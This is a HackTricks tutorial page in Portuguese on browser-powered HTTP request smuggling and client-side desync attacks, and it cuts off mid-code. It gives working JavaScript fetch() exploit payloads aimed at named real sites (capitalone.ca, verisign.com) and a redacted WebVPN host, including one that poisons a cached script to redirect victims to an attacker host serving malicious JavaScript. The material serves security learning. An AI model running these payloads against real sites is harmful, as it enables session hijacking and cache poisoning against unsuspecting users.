# Browser HTTP Request Smuggling
Aprenda hacking no AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## CL.0/H2.0 desync compatível com navegador
Esta vulnerabilidade ocorre quando o cabeçalho **Content Length** (CL) é completamente **ignorado** pelo **servidor backend**. Então, o backend trata o **corpo** como o **início do método da segunda requisição**. Ignorar o CL é equivalente a tratá-lo como se tivesse um valor de 0, portanto, isso é um desync CL.0 - uma classe de ataque [conhecida](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) mas menos explorada.
 (1) (2).png>)
O ataque foi possível porque o servidor backend simplesmente **não estava esperando uma requisição POST**.
{% hint style="warning" %}
Note que esta vulnerabilidade é **ativada** por uma requisição HTTP **completamente válida**, em conformidade com a especificação. Isso significa que o **front-end não tem nenhuma chance de proteção** contra ela, e ela poderia até ser ativada por um navegador.
{% endhint %}
A única **diferença** entre **CL.0** e **H2.0** é que o segundo está usando **HTTP2** (que tem um cabeçalho de comprimento de conteúdo implícito), mas o **backend também não está usando isso**.
## Desync do Lado do Cliente
Ataques de desync tradicionais **envenenam** a **conexão** entre um servidor **front-end e backend**, e por isso são impossíveis em sites que não usam uma arquitetura front-end/backend. Estes são **desyncs do lado do servidor** a partir de agora. A maioria dos **desyncs do lado do servidor** só pode ser ativada por um **cliente HTTP personalizado emitindo uma requisição malformada.**
A capacidade de um **navegador causar um desync** possibilita uma nova classe de ameaça chamada **desync do lado do cliente** (CSD).\
Um ataque CSD começa com a **vítima visitando o site do atacante**, que então faz com que o navegador dela envie **duas requisições cross-domain para o site vulnerável**. A **primeira** requisição é elaborada para **desyncar a conexão do navegador** e fazer com que a **segunda requisição acione** uma resposta prejudicial, tipicamente dando ao atacante controle da conta da vítima.
### Detectar
Um vetor CSD é uma requisição HTTP com **duas** propriedades **chave**.
Primeiro, o **servidor deve ignorar o Content-Length (CL) da requisição**. Isso geralmente acontece porque a requisição ou **ativou um erro no servidor**, ou o servidor simplesmente **não estava esperando uma requisição POST** para o endpoint escolhido. Tente mirar em **arquivos estáticos** e **redirecionamentos no nível do servidor**, e ativar erros via **URLs excessivamente longas**, e **semi-malformadas** como /%2e%2e.
Em segundo lugar, a requisição deve ser **ativável em um navegador web cross-domain**. Navegadores restringem severamente o controle sobre requisições cross-domain, então você tem controle limitado sobre cabeçalhos, e se sua requisição tem um corpo, você precisará usar o método HTTP POST. No final, você só **controla** a **URL**, além de algumas outras coisas como o cabeçalho **Referer**, o **corpo**, e a **parte final do Content-Type.**
#### Teste de ignorância do CL
A maneira de testar essa má configuração é **enviar 2 requisições e contrabandear uma** no **meio**. Se a conexão **contrabandeada** **afetou** a resposta da **segunda** **requisição**, significa que está **vulnerável**:
 (2) (2) (1).png>)
{% hint style="warning" %}
Note que você **não pode** testar essa vulnerabilidade apenas enviando um **Content-Length maior** do que o enviado e **procurando por um timeout**, porque alguns servidores **respondem** mesmo que **não tenham recebido o corpo inteiro**.
{% endhint %}
É importante notar se o **site alvo suporta HTTP**/2. Ataques CSD geralmente exploram a reutilização de conexão HTTP/1.1 e navegadores web **preferem usar HTTP/2** sempre que possível, então se o site alvo **suporta HTTP/2 seus ataques provavelmente não funcionarão**. Há uma **exceção**; alguns **proxies avançados não suportam HTTP/2** então você pode explorar qualquer um que os use. Isso inclui proxies corporativos, certas VPNs intrusivas e até algumas ferramentas de segurança.
### Confirmar
Primeiro, selecione um site para lançar o ataque. Este site deve ser **acessado via HTTPS** e localizado em um **domínio diferente do alvo**.
Em seguida, certifique-se de que você **não tem um proxy configurado**, e então navegue até o seu site de ataque. Abra as **ferramentas de desenvolvedor** e vá para a aba **Rede**. Para ajudar na depuração de problemas potenciais mais tarde, recomendo fazer os seguintes ajustes:
* Selecione a caixa de seleção **"Preserve log"**.
* Clique com o botão direito nos cabeçalhos das colunas e **ative a coluna "Connection ID"**.
Mude para o console do desenvolvedor e execute JavaScript para replicar sua sequência de ataque usando fetch(). Isso pode parecer algo como:
```javascript
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
```
### Exploração - Armazenar
Uma opção é identificar funcionalidades no site alvo que permitam **armazenar dados de texto**, e criar o prefixo de modo que os cookies da vítima, cabeçalhos de autenticação ou senha acabem sendo **armazenados em algum lugar que você possa recuperar**. Este fluxo de ataque funciona [quase idêntico ao contrabando de requisições do lado do servidor](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), então não vou me aprofundar nisso.
### Exploração - **Encadear e pivotar**
Em circunstâncias normais, muitas classes de **ataque do lado do servidor** só podem ser lançadas por um atacante com acesso direto ao site alvo, pois **dependem de requisições HTTP que os navegadores se recusam a enviar**, como **manipulação** de **cabeçalhos HTTP** - envenenamento de cache da web, a maioria dos contrabandos de requisições do lado do servidor, ataques de cabeçalho de host, User-Agent baseado em [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type e muitos outros.
O caminho mais simples para um ataque bem-sucedido veio de duas técnicas-chave geralmente usadas para ataques de desincronização do lado do servidor: [**envenenamento de recursos JavaScript via redirecionamentos de cabeçalho de Host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), e usando o [**método HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) para juntar uma resposta com HTML prejudicial. Ambas as técnicas precisaram ser **adaptadas** para superar alguns desafios novos associados à operação no **navegador da vítima**.
## Exemplos de Exploração
### Exemplo de HEAD empilhado
* **Exploração colorida**
 (3).png>)
* **Exploração JS**
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
```
Explicação:
* **Abuso de CL.0** em /assets (ele redireciona para /assets/ e não verifica o CL)
* **Contrabandear** uma requisição **HEAD** (porque as respostas HEAD ainda contêm um content-length)
* **Contrabandear** uma requisição **GET** cujo **conteúdo** vai ser **refletido** na resposta com o payload.
* Por causa do **content-length do HEAD** req, a **resposta** desta requisição será o **corpo da requisição HEAD**
* Definir **modo cors**. Normalmente isso não é feito, mas neste caso a **resposta** do servidor ao **POST inicial** é um **redirecionamento** que, se **seguido**, o **exploit não funcionará**. Portanto, o **modo cors** é usado para **desencadear** um **erro** e **redirecionar** a vítima com o **`catch`**.
### **Redirecionamento do cabeçalho do host + envenenamento de cache do lado do cliente**
* **Exploit JS**
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* Uma requisição para `/+webvpn+/` com um **domínio diferente no cabeçalho Host** é respondida com um **redirecionamento** para `/+webvpn+/index.html` para aquele **domínio** dentro do cabeçalho Host.
* O local na **segunda** requisição é definido para `/+CSCOE+/win.js` a fim de **envenenar** o **cache** daquele arquivo `.js`.
* Esta requisição será respondida com o redirecionamento de `/+webvpn+/` para o domínio do atacante com o caminho `/+webvpn+/index.html`
* O **cache** de **`win.js`** será **envenenado** com um **redirecionamento** para a página do **atacante**, mas também a **vítima** irá **seguir** o redirecionamento como foi atribuído na variável `location` e terminará na página web do atacante.
* O atacante então **redirecionará** a **vítima** para `https://redacted/+CSCOE+/logon.html`. Esta página importará `/+CSCOE+/win.js`. Cujo **cache é um redirecionamento** para o servidor do **atacante**, portanto, o atacante pode **responder com um JS malicioso**.
A **vítima** irá **acessar** a página do **atacante** **duas vezes**, a primeira ela **espera um HTML** que redirecione a vítima de volta para `https://redacted/+CSCOE+/logon.html` e a segunda ela **espera código javascript** (o payload). Um poliglota pode ser usado para servir ambas as respostas em apenas uma:
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/**/
```
### Carga útil HEAD com TE fragmentado
Ao procurar por CSD, você também pode **testar URLs semi-malformadas** como `/..%2f` ou `/%2f`.
* **Exploit Colorido**
 (2) (1).png>)
* **Exploit JS**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /